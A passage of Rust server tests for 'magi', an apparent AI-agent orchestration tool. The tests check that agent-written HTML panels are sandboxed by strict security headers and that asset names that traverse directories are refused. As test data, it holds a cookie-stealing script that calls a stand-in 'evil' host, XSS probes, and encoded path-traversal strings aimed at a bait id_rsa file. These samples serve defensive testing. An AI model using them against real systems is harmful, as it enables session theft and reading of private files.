7930    /// It stands in for a run mid-node: `finish_loop` waits for this future,
7931    /// so the request it makes is strictly inside the park window - no sleep
7932    /// and no polling needed to be sure of that.
7933    fn launch_knocking_on_the_way_out(
7934        _opts: daemon::Opts,
7935        stop: daemon::Stop,
7936    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7937        Box::pin(async move {
7938            while !stop.stopped() {
7939                tokio::time::sleep(Duration::from_millis(2)).await;
7940            }
7941            let addr = PARK_KNOCK
7942                .lock()
7943                .expect("park knock")
7944                .expect("the test set an address");
7945            let heard = request(addr, "GET", "/api/health", None).await.status;
7946            *PARK_HEARD.lock().expect("park heard") = Some(heard);
7947            Ok(())
7948        })
7949    }
7950
7951    /// The loop view once `want` accepts it.
7952    ///
7953    /// Polled rather than asserted straight after the POST because stopping
7954    /// is deliberately not instant - that is the contract - and rather than
7955    /// slept through because a fixed wait is either flaky or slow.
7956    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
7957    /// finite, so a genuine hang fails the test instead of hanging the
7958    /// suite.
7959    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7960        for _ in 0..SETTLE_STEPS {
7961            let view = fx.get("/api/loop").await.json();
7962            if want(&view) {
7963                return view;
7964            }
7965            tokio::time::sleep(Duration::from_millis(10)).await;
7966        }
7967        panic!(
7968            "the loop never settled: {}",
7969            fx.get("/api/loop").await.json()
7970        );
7971    }
7972
7973    /// File an open question directly in the store the server reads.
7974    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7975        let store = fx.questions();
7976        let mut q = Question::new(
7977            "20260902-000000-beef".to_owned(),
7978            "implement".to_owned(),
7979            "impl-A".to_owned(),
7980            summary.to_owned(),
7981            "because it matters".to_owned(),
7982            choices.iter().map(|c| (*c).to_owned()).collect(),
7983        );
7984        store.put(&mut q).expect("put question");
7985        q.id
7986    }
7987
7988    /// A question with a panel the server can serve, plus the named assets.
7989    ///
7990    /// Written through `Questions::put_panel` rather than by laying out the
7991    /// directory here, so these tests exercise the same on-disk shape the
7992    /// agents produce and cannot pass against a layout only the tests know.
7993    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7994        let store = fx.questions();
7995        let mut q = Question::new(
7996            "20260902-000000-beef".to_owned(),
7997            "land".to_owned(),
7998            "fix".to_owned(),
7999            "Merge this?".to_owned(),
8000            "the diff is in the panel".to_owned(),
8001            vec!["merge".to_owned(), "hold".to_owned()],
8002        );
8003        // Staged outside the questions root, because `put_panel` copies from
8004        // wherever the agent left its files.
8005        let staging = fx.home.path().join("staging");
8006        std::fs::create_dir_all(&staging).expect("staging dir");
8007        let sources: Vec<PathBuf> = assets
8008            .iter()
8009            .map(|(name, bytes)| {
8010                let path = staging.join(name);
8011                std::fs::write(&path, bytes).expect("write staged asset");
8012                path
8013            })
8014            .collect();
8015        store
8016            .put_panel(&mut q, html, &sources)
8017            .expect("write the panel");
8018        store.put(&mut q).expect("put question");
8019        q.id
8020    }
8021
8022    /// A talk on disk, without talking to a model.
8023    ///
8024    /// Written as JSON straight into the store the server reads, because the
8025    /// only constructor `talk::begin` offers takes no turn but still requires
8026    /// a real caller-visible flow. The one thing this cannot make up is the
8027    /// seat, so it is built with the real `SeatState::new` and serialized -
8028    /// the alternative, hand-writing that object, would make these tests fail
8029    /// the day the seat gains a field.
8030    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8031        seed_talk_at(&fx.talks(), id, status)
8032    }
8033
8034    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8035        std::fs::create_dir_all(store.root()).expect("talks dir");
8036        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8037            .expect("serialize a seat");
8038        let body = serde_json::json!({
8039            "schema": 1,
8040            "id": id,
8041            "repo": "/repo/magi",
8042            "agent": "mock",
8043            "status": status,
8044            "turns": [],
8045            "created_at": Timestamp::now().to_string(),
8046            "updated_at": Timestamp::now().to_string(),
8047            "seat": seat,
8048        });
8049        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8050        store.get(id).expect("the seeded talk has to be readable");
8051        id.to_owned()
8052    }
8053
8054    #[tokio::test]
8055    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8056        let fx = Fixture::start().await;
8057        let id = panel(
8058            &fx,
8059            "<h1>Merge?</h1><img src=\"diff.svg\">",
8060            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8061        );
8062
8063        for path in [
8064            format!("/api/questions/{id}/panel"),
8065            format!("/api/questions/{id}/asset/diff.svg"),
8066        ] {
8067            let res = fx.get(&path).await;
8068            assert_eq!(res.status, 200, "{path}: {}", res.body);
8069            // The whole string, not a substring. A weakened directive - an
8070            // `img-src *` that lets a panel beacon out to a remote host, a
8071            // `script-src` anything, a missing `form-action` that lets it post
8072            // the owner's decision to a third party - has to fail here, and a
8073            // `contains` assertion would let every one of those through.
8074            assert_eq!(
8075                res.header("content-security-policy"),
8076                Some(
8077                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8078                     font-src data:; base-uri 'none'; form-action 'none'; \
8079                     frame-ancestors 'self'"
8080                ),
8081                "{path} is the only thing between a hostile panel and the tailnet"
8082            );
8083            assert_eq!(
8084                res.header("x-content-type-options"),
8085                Some("nosniff"),
8086                "{path}: a browser must not re-decide the type we sent"
8087            );
8088            assert_eq!(
8089                res.header("referrer-policy"),
8090                Some("no-referrer"),
8091                "{path}: a panel must not leak the question id off the machine"
8092            );
8093
8094            // The front end mounts the frame only after a `HEAD` says the
8095            // panel is there, so `HEAD` has to answer with the same status and
8096            // the same policy as `GET` - a preflight that came back without
8097            // the CSP would mean a frame mounted on an unverified promise.
8098            let pre = fx.head(&path).await;
8099            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8100            assert_eq!(
8101                pre.header("content-security-policy"),
8102                res.header("content-security-policy"),
8103                "{path}: the preflight carries the same policy"
8104            );
8105            assert_eq!(
8106                pre.header("content-type"),
8107                res.header("content-type"),
8108                "{path}: the preflight carries the same type"
8109            );
8110        }
8111    }
8112
8113    #[tokio::test]
8114    async fn a_panel_reaches_the_browser_byte_for_byte() {
8115        let fx = Fixture::start().await;
8116        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
8117        // tag, an entity, and a multi-byte character. The sandbox is what makes
8118        // this safe, so nothing here may be rewritten on the way out - a
8119        // rewritten diff is a diff the owner cannot trust.
8120        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
8121        let id = panel(&fx, html, &[]);
8122
8123        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8124
8125        assert_eq!(res.status, 200);
8126        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8127        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8128        assert_eq!(
8129            res.header("content-disposition"),
8130            None,
8131            "the panel itself is rendered in the frame, not downloaded"
8132        );
8133    }
8134
8135    #[tokio::test]
8136    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8137        let fx = Fixture::start().await;
8138        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8139        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8140        let id = panel(
8141            &fx,
8142            "<img src=\"diff.svg\"><img src=\"shot.png\">",
8143            &[("diff.svg", svg), ("shot.png", png)],
8144        );
8145
8146        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8147        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8148
8149        assert_eq!(as_svg.status, 200);
8150        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8151        // An SVG is XML that may carry script. Inside the panel it is an
8152        // `<img src>` and the script cannot run; opened at the top level it
8153        // would be a document on magi's own origin, so the browser is told to
8154        // download it instead of rendering it.
8155        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8156
8157        assert_eq!(as_png.status, 200);
8158        assert_eq!(as_png.header("content-type"), Some("image/png"));
8159        assert_eq!(
8160            as_png.header("content-disposition"),
8161            None,
8162            "a raster image has no execution surface, so tapping it still shows it"
8163        );
8164        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8165    }
8166
8167    #[tokio::test]
8168    async fn an_html_asset_is_never_served_as_html() {
8169        let fx = Fixture::start().await;
8170        let id = panel(
8171            &fx,
8172            "<p>see the notes</p>",
8173            &[
8174                (
8175                    "notes.html",
8176                    b"<script>fetch('http://evil/'+document.cookie)</script>",
8177                ),
8178                ("hook.js", b"fetch('http://evil/')"),
8179                ("data.json", b"{}"),
8180                ("HEADLINE.TXT", b"plain"),
8181            ],
8182        );
8183
8184        for name in ["notes.html", "hook.js", "data.json"] {
8185            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8186            assert_eq!(res.status, 200, "{name}: {}", res.body);
8187            // Serving this as text/html would be a way to reach agent markup
8188            // at the top level of the operator's browser, outside the frame's
8189            // sandbox and outside its CSP - which is the whole thing the panel
8190            // design exists to prevent. Unlisted types are downloads.
8191            assert_eq!(
8192                res.header("content-type"),
8193                Some("application/octet-stream"),
8194                "{name} must not be a type the browser will execute or render"
8195            );
8196        }
8197        // The whitelist is matched case-insensitively, so an agent shouting the
8198        // extension still gets a readable file rather than a download.
8199        let txt = fx
8200            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8201            .await;
8202        assert_eq!(
8203            txt.header("content-type"),
8204            Some("text/plain; charset=utf-8")
8205        );
8206    }
8207
8208    #[tokio::test]
8209    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8210        let fx = Fixture::start().await;
8211        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8212        // Something outside the panel directory that a traversal would reach if
8213        // one got through, so a passing test is not merely "the file was
8214        // missing anyway".
8215        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8216
8217        // Decoded before this server's handler sees them: axum percent-decodes
8218        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
8219        // string with a NUL in it. All three look like ordinary single-segment
8220        // filenames to the router, so the router passes them through and
8221        // `valid_asset_name` is what refuses them - for the literal `..`, and
8222        // for `/`, `\` and NUL not being in the permitted character set.
8223        for encoded in [
8224            "%2e%2e%2fid_rsa",
8225            "..%2fid_rsa",
8226            "..%5cid_rsa",
8227            "%2e%2e%5cid_rsa",
8228            "diff%00.svg",
8229            "..",
8230            ".hidden",
8231            "%2e%2e%2f%2e%2e%2fid_rsa",
8232        ] {
8233            let res = fx
8234                .get(&format!("/api/questions/{id}/asset/{encoded}"))
8235                .await;
8236            assert_eq!(
8237                res.status, 400,
8238                "`{encoded}` has to be refused by name, not looked up: {}",
8239                res.body
8240            );
8241            assert!(res.json()["error"].is_string(), "{}", res.body);
8242        }
8243
8244        // Not decoded, and never this handler's problem: a real slash makes the
8245        // request one segment too long for `/api/questions/{id}/asset/{name}`,
8246        // so axum's router has no route to match and answers before any code
8247        // here runs. Asserted so that a future route with a wildcard segment
8248        // cannot quietly open this door.
8249        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8250            let res = fx
8251                .get(&format!("/api/questions/{id}/asset/{literal}"))
8252                .await;
8253            assert_eq!(
8254                res.status, 404,
8255                "`{literal}` must not match the asset route at all: {}",
8256                res.body
8257            );
8258        }
8259    }
8260
8261    #[tokio::test]
8262    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8263        let fx = Fixture::start().await;
8264        let plain = ask(&fx, "Which backend?", &["SQLite"]);
8265        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8266
8267        // A question nobody wrote a panel for. The client preflights with HEAD
8268        // and cannot see inside a sandboxed frame, so this must be a status and
8269        // not an empty page.
8270        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8271        assert_eq!(none.status, 404, "{}", none.body);
8272        assert!(none.json()["error"].is_string(), "{}", none.body);
8273        assert_eq!(
8274            fx.head(&format!("/api/questions/{plain}/panel"))
8275                .await
8276                .status,
8277            404,
8278            "the preflight is the only way the client can learn this"
8279        );
8280
8281        // A name that is perfectly legal and simply is not there.
8282        let missing = fx
8283            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8284            .await;
8285        assert_eq!(missing.status, 404, "{}", missing.body);
8286        assert!(missing.json()["error"].is_string(), "{}", missing.body);
8287
8288        // A question that does not exist at all, on both routes.
8289        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8290        assert_eq!(
8291            fx.get("/api/questions/nope/asset/diff.svg").await.status,
8292            404
8293        );
8294    }
8295
8296    #[tokio::test]
8297    async fn a_run_with_an_open_question_reads_as_waiting() {
8298        let fx = Fixture::start().await;
8299        let run = "20260902-000000-beef".to_owned();
8300        write_run(&fx.runs(), &run, RunStatus::Implementing);
8301
8302        let before = fx.get("/api/runs").await.json();
8303        assert_eq!(before[0]["waiting"], false, "{before}");
8304
8305        let store = fx.questions();
8306        let mut q = Question::new(
8307            run.clone(),
8308            "implement".to_owned(),
8309            "impl-A".to_owned(),
8310            "Which backend?".to_owned(),
8311            String::new(),
8312            vec!["SQLite".to_owned()],
8313        );
8314        store.put(&mut q).expect("put");
8315
8316        let during = fx.get("/api/runs").await.json();
8317        assert_eq!(during[0]["waiting"], true, "{during}");
8318
8319        // Answered: the run is moving again, and the flag has to follow without
8320        // anything having rewritten run.json.
8321        q.answer(Answer::Choice("SQLite".to_owned()))
8322            .expect("answer");
8323        store.put(&mut q).expect("put");
8324        let after = fx.get("/api/runs").await.json();
8325        assert_eq!(after[0]["waiting"], false, "{after}");
8326    }
8327
8328    #[tokio::test]
8329    async fn an_open_question_is_listed_and_counted_by_health() {
8330        let fx = Fixture::start().await;
8331        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8332
8333        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8334        let listed = fx.get("/api/questions").await.json();
8335        assert_eq!(listed.as_array().expect("array").len(), 1);
8336        assert_eq!(listed[0]["id"], id);
8337        assert_eq!(listed[0]["status"], "open");
8338        assert_eq!(listed[0]["choices"][1], "Redis");
8339        // The count is what makes the phone's indicator honest: it is the one
8340        // number meaning nothing will move until a human acts.
8341        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8342    }
8343
8344    #[tokio::test]
8345    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8346        let fx = Fixture::start().await;
8347        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8348        let path = format!("/api/questions/{id}/answer");
8349
8350        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8351        assert_eq!(res.status, 200, "{}", res.body);
8352        let body = res.json();
8353        assert_eq!(body["status"], "answered");
8354        assert_eq!(body["answer"]["choice"], "Redis");
8355
8356        // Answered from the terminal in between the list and the tap: the UI
8357        // must be able to tell this from a bad request, so it can show the
8358        // recorded answer instead of an error.
8359        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8360        assert_eq!(again.status, 409, "{}", again.body);
8361        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8362    }
8363
8364    #[tokio::test]
8365    async fn saying_something_appends_a_turn_without_answering() {
8366        let fx = Fixture::start().await;
8367        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8368        let path = format!("/api/questions/{id}/say");
8369
8370        let res = fx
8371            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8372            .await;
8373        assert_eq!(res.status, 200, "{}", res.body);
8374        let body = res.json();
8375        assert_eq!(body["status"], "open", "talking back is not a decision");
8376        assert_eq!(body["answer"], Value::Null);
8377        assert_eq!(body["thread"][0]["who"], "operator");
8378        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8379        assert_eq!(body["waiting_on_agent"], true);
8380        // Still open, still counted, still exactly one question.
8381        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8382    }
8383
8384    #[tokio::test]
8385    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8386        let fx = Fixture::start().await;
8387        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8388
8389        let list = fx.get("/api/questions").await.json();
8390        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8391
8392        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8393        assert_eq!(res.status, 409, "{}", res.body);
8394        let q = fx.questions().get(&id).unwrap();
8395        assert!(q.status.open());
8396        assert!(q.consult.is_none());
8397    }
8398
8399    #[tokio::test]
8400    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8401        let fx = Fixture::start().await;
8402        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8403        let cfg = Config {
8404            agents: vec![crate::config::AgentSpec {
8405                id: "mock".to_owned(),
8406                kind: crate::config::AgentKind::Command,
8407                model: None,
8408                command: vec!["true".to_owned()],
8409                extra_args: Vec::new(),
8410                env: Default::default(),
8411                prompt_delivery: None,
8412            }],
8413            ..Config::default()
8414        };
8415        let talk = crate::talk::begin(
8416            &fx.talks(),
8417            &cfg,
8418            fx.home.path().to_path_buf(),
8419            Some("mock"),
8420        )
8421        .unwrap();
8422        let mut task = Task::new(
8423            "t".to_owned(),
8424            "Do it".to_owned(),
8425            PathBuf::from("/repo/magi"),
8426            Source::Agent {
8427                run: talk.id.clone(),
8428                node: crate::queue::CHAT_NODE.to_owned(),
8429            },
8430        );
8431        task.start("20260902-000000-beef".to_owned());
8432        fx.queue().put(&mut task).unwrap();
8433
8434        let list = fx.get("/api/questions").await.json();
8435        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8436        assert_eq!(
8437            list[0]["choices"],
8438            serde_json::json!(["SQLite", "Redis"]),
8439            "the hand-over is never a choice"
8440        );
8441        fx.questions()
8442            .update(&id, |q| {
8443                q.node = crate::land::APPROVAL_NODE.into();
8444                q.choices = vec!["merge".into(), "hold".into()];
8445                Ok(())
8446            })
8447            .unwrap();
8448        let list = fx.get("/api/questions").await.json();
8449        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8450        let _ = id;
8451    }
8452
8453    #[tokio::test]
8454    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8455        let fx = Fixture::start().await;
8456        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8457        fx.questions()
8458            .update(&id, |q| {
8459                q.node = crate::land::APPROVAL_NODE.into();
8460                q.choices = vec!["merge".into(), "hold".into()];
8461                Ok(())
8462            })
8463            .unwrap();
8464        let cfg = Config {
8465            agents: vec![crate::config::AgentSpec {
8466                id: "mock".to_owned(),
8467                kind: crate::config::AgentKind::Command,
8468                model: None,
8469                command: vec!["true".to_owned()],
8470                extra_args: Vec::new(),
8471                env: Default::default(),
8472                prompt_delivery: None,
8473            }],
8474            ..Config::default()
8475        };
8476        // Not a git working tree, so its `magi.toml` is read from disk.
8477        let repo = fx.home.path().join("chat-repo");
8478        std::fs::create_dir_all(&repo).unwrap();
8479        let toml = repo.join("magi.toml");
8480        std::fs::write(&toml, "this is = = not toml").unwrap();
8481        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8482        let mut task = Task::new(
8483            "t".to_owned(),
8484            "Do it".to_owned(),
8485            PathBuf::from("/repo/magi"),
8486            Source::Agent {
8487                run: talk.id.clone(),
8488                node: crate::queue::CHAT_NODE.to_owned(),
8489            },
8490        );
8491        task.start("20260902-000000-beef".to_owned());
8492        fx.queue().put(&mut task).unwrap();
8493
8494        let path = format!("/api/questions/{id}/consult");
8495        let res = fx.post(&path, None).await;
8496        assert!(res.status >= 400, "{}", res.body);
8497        assert!(fx.questions().get(&id).unwrap().consult.is_none());
8498        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8499
8500        std::fs::write(&toml, "").unwrap();
8501        let res = fx.post(&path, None).await;
8502        assert_eq!(res.status, 202, "{}", res.body);
8503        assert!(fx.questions().get(&id).unwrap().consult.is_some());
8504        let q = fx.questions().get(&id).unwrap();
8505        assert!(q.status.open());
8506        assert!(q.answer.is_none());
8507        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8508    }
8509
8510    #[tokio::test]
8511    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8512        let fx = Fixture::start().await;
8513        let store = fx.questions();
8514        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8515        assert_eq!(
8516            fx.get("/api/health").await.json()["questions_needs_owner"],
8517            1
8518        );
8519
8520        // The owner asks back instead of deciding: the ask bar, the nav badge
8521        // and the title must stop naming this question, because there is
8522        // nothing to decide until the agent answers - `status` alone cannot
8523        // say that, which is the whole reason `questions_needs_owner` exists
8524        // alongside `questions_open`.
8525        let res = fx
8526            .post(
8527                &format!("/api/questions/{id}/say"),
8528                Some(r#"{"body":"why not Postgres?"}"#),
8529            )
8530            .await;
8531        assert_eq!(res.status, 200, "{}", res.body);
8532        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8533        assert_eq!(
8534            fx.get("/api/health").await.json()["questions_needs_owner"],
8535            0,
8536            "waiting on the agent is not waiting on the owner"
8537        );
8538
8539        // `magi ask --thread` replying is what brings the owner count back -
8540        // the same event that would resume the CLI call blocked in `magi
8541        // ask`.
8542        let mut q = store.get(&id).expect("get");
8543        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8544            .expect("reply");
8545        store.put(&mut q).expect("put");
8546        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8547        assert_eq!(
8548            fx.get("/api/health").await.json()["questions_needs_owner"],
8549            1,
8550            "the agent's reply is what should light the banner back up"
8551        );
8552    }
8553
8554    #[tokio::test]
8555    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8556        let fx = Fixture::start().await;
8557        let store = fx.questions();
8558
8559        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8560        let res = fx
8561            .post(
8562                &format!("/api/questions/{empty_id}/say"),
8563                Some(r#"{"body":"   "}"#),
8564            )
8565            .await;
8566        assert_eq!(res.status, 400, "{}", res.body);
8567
8568        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8569        let mut answered = store.get(&answered_id).expect("get");
8570        answered
8571            .answer(Answer::Choice("SQLite".to_owned()))
8572            .expect("answer");
8573        store.put(&mut answered).expect("put");
8574        let res = fx
8575            .post(
8576                &format!("/api/questions/{answered_id}/say"),
8577                Some(r#"{"body":"still there?"}"#),
8578            )
8579            .await;
8580        assert_eq!(res.status, 409, "{}", res.body);
8581
8582        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8583        let mut abandoned = store.get(&abandoned_id).expect("get");
8584        abandoned.abandon("timed out");
8585        store.put(&mut abandoned).expect("put");
8586        let res = fx
8587            .post(
8588                &format!("/api/questions/{abandoned_id}/say"),
8589                Some(r#"{"body":"still there?"}"#),
8590            )
8591            .await;
8592        assert_eq!(res.status, 409, "{}", res.body);
8593    }
8594
8595    #[tokio::test]
8596    async fn an_answer_the_question_does_not_offer_is_refused() {
8597        let fx = Fixture::start().await;
8598        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8599        let path = format!("/api/questions/{id}/answer");
8600
8601        for body in [
8602            r#"{"choice":"Postgres"}"#,
8603            r#"{"text":"whatever you think"}"#,
8604            r#"{"choice":"Redis","text":"both"}"#,
8605            r#"{}"#,
8606        ] {
8607            let res = fx.post(&path, Some(body)).await;
8608            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8609            assert!(res.json()["error"].is_string(), "{}", res.body);
8610        }
8611        // Nothing above may have answered it.
8612        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8613    }
8614
8615    #[tokio::test]
8616    async fn a_free_text_question_takes_text_and_not_a_choice() {
8617        let fx = Fixture::start().await;
8618        let id = ask(&fx, "What should the flag be called?", &[]);
8619        let path = format!("/api/questions/{id}/answer");
8620
8621        assert_eq!(
8622            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8623            400
8624        );
8625        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8626        assert_eq!(res.status, 200, "{}", res.body);
8627        assert_eq!(res.json()["answer"]["text"], "--json");
8628    }
8629
8630    #[tokio::test]
8631    async fn an_unknown_question_is_a_json_404() {
8632        let fx = Fixture::start().await;
8633        let res = fx
8634            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8635            .await;
8636        assert_eq!(res.status, 404, "{}", res.body);
8637        assert!(res.json()["error"].is_string());
8638    }
8639
8640    #[tokio::test]
8641    async fn notifications_list_read_dismiss_and_health_agree() {
8642        let fx = Fixture::start().await;
8643        let store = Notices::at(fx.home.path().join("notifications"));
8644        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8645        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8646
8647        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8648        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8649
8650        let health = fx.get("/api/health").await.json();
8651        assert_eq!(health["notifications_unread"], 2);
8652        assert_ne!(
8653            health["notifications_rev"], rev0,
8654            "the badge must move live"
8655        );
8656
8657        let listed = fx.get("/api/notifications").await.json();
8658        assert_eq!(listed["unread"], 2);
8659        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8660        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8661
8662        let read = fx
8663            .post(&format!("/api/notifications/{}/read", a.id), None)
8664            .await;
8665        assert_eq!(read.status, 200, "{}", read.body);
8666        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8667
8668        let gone = fx
8669            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8670            .await;
8671        assert_eq!(gone.status, 200, "{}", gone.body);
8672        let listed = fx.get("/api/notifications").await.json();
8673        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8674        assert_eq!(listed["unread"], 0);
8675
8676        store.raise(Notice::info("x", "again")).unwrap();
8677        let all = fx.post("/api/notifications/read-all", None).await;
8678        assert_eq!(all.status, 200, "{}", all.body);
8679        assert_eq!(all.json()["marked"], 1);
8680        assert_eq!(
8681            fx.get("/api/health").await.json()["notifications_unread"],
8682            0
8683        );
8684
8685        let missing = fx.post("/api/notifications/nope/read", None).await;
8686        assert_eq!(missing.status, 404, "{}", missing.body);
8687        assert!(missing.json()["error"].is_string());
8688    }
8689
8690    /// New work reaches the queue through `magi task add`, a standing talk's
8691    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
8692    /// so the compose form and that route are gone. The tests that covered
8693    /// that route's validation went with it, and nothing was left asserting
8694    /// it stays gone — so a re-added handler would silently let the phone
8695    /// file briefs no one validated.
8696    #[tokio::test]
8697    async fn a_task_cannot_be_filed_over_the_phone_directly() {
8698        let f = Fixture::start().await;
8699
8700        let res = f
8701            .post(
8702                "/api/queue",
8703                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8704            )
8705            .await;
8706
8707        assert_eq!(
8708            res.status, 405,
8709            "POST /api/queue must not be a route: {}",
8710            res.body
8711        );
8712        assert!(
8713            f.queue().list().is_empty(),
8714            "a task filed by a route that does not exist must not reach the disk"
8715        );
8716        // The path itself is still served — the Queue view reads it — and the
8717        // per-task controls are untouched by the entry being removed.
8718        assert_eq!(f.get("/api/queue").await.status, 200);
8719    }
8720
8721    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
8722    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8723        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8724            .expect("checkout dir");
8725    }
8726
8727    /// Two command agents, so a config needs no real CLI.
8728    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8729
8730    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8731        let tmp = TempDir::new().expect("tempdir");
8732        let repo = tmp.path().join("repo");
8733        std::fs::create_dir_all(&repo).expect("repo dir");
8734        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8735        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8736        if let Some(text) = machine_toml {
8737            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8738            std::fs::write(&machine, text).expect("machine toml");
8739        }
8740        (tmp, repo, machine)
8741    }
8742
8743    #[tokio::test]
8744    async fn settings_get_reports_sources_and_the_advisors_fallback() {
8745        let (_tmp, repo, machine) =
8746            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8747        let f = Fixture::with_repo_and_machine(repo, machine).await;
8748        let res = f.get("/api/settings").await;
8749        assert_eq!(res.status, 200, "{}", res.body);
8750        let v = res.json();
8751        assert!(v["error"].is_null(), "{v}");
8752        let role = |k: &str| {
8753            v["roles"]
8754                .as_array()
8755                .and_then(|r| r.iter().find(|x| x["key"] == k))
8756                .cloned()
8757                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8758        };
8759        assert_eq!(role("judges")["source"], "machine");
8760        assert_eq!(role("judges")["editable"], true);
8761        assert_eq!(role("implementers")["source"], "default");
8762        let adv = role("advisors");
8763        assert_eq!(adv["fallback"], "judges");
8764        assert!(
8765            adv["seats"]
8766                .as_array()
8767                .is_some_and(|s| s.iter().all(|x| x == "b")),
8768            "{adv}"
8769        );
8770        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
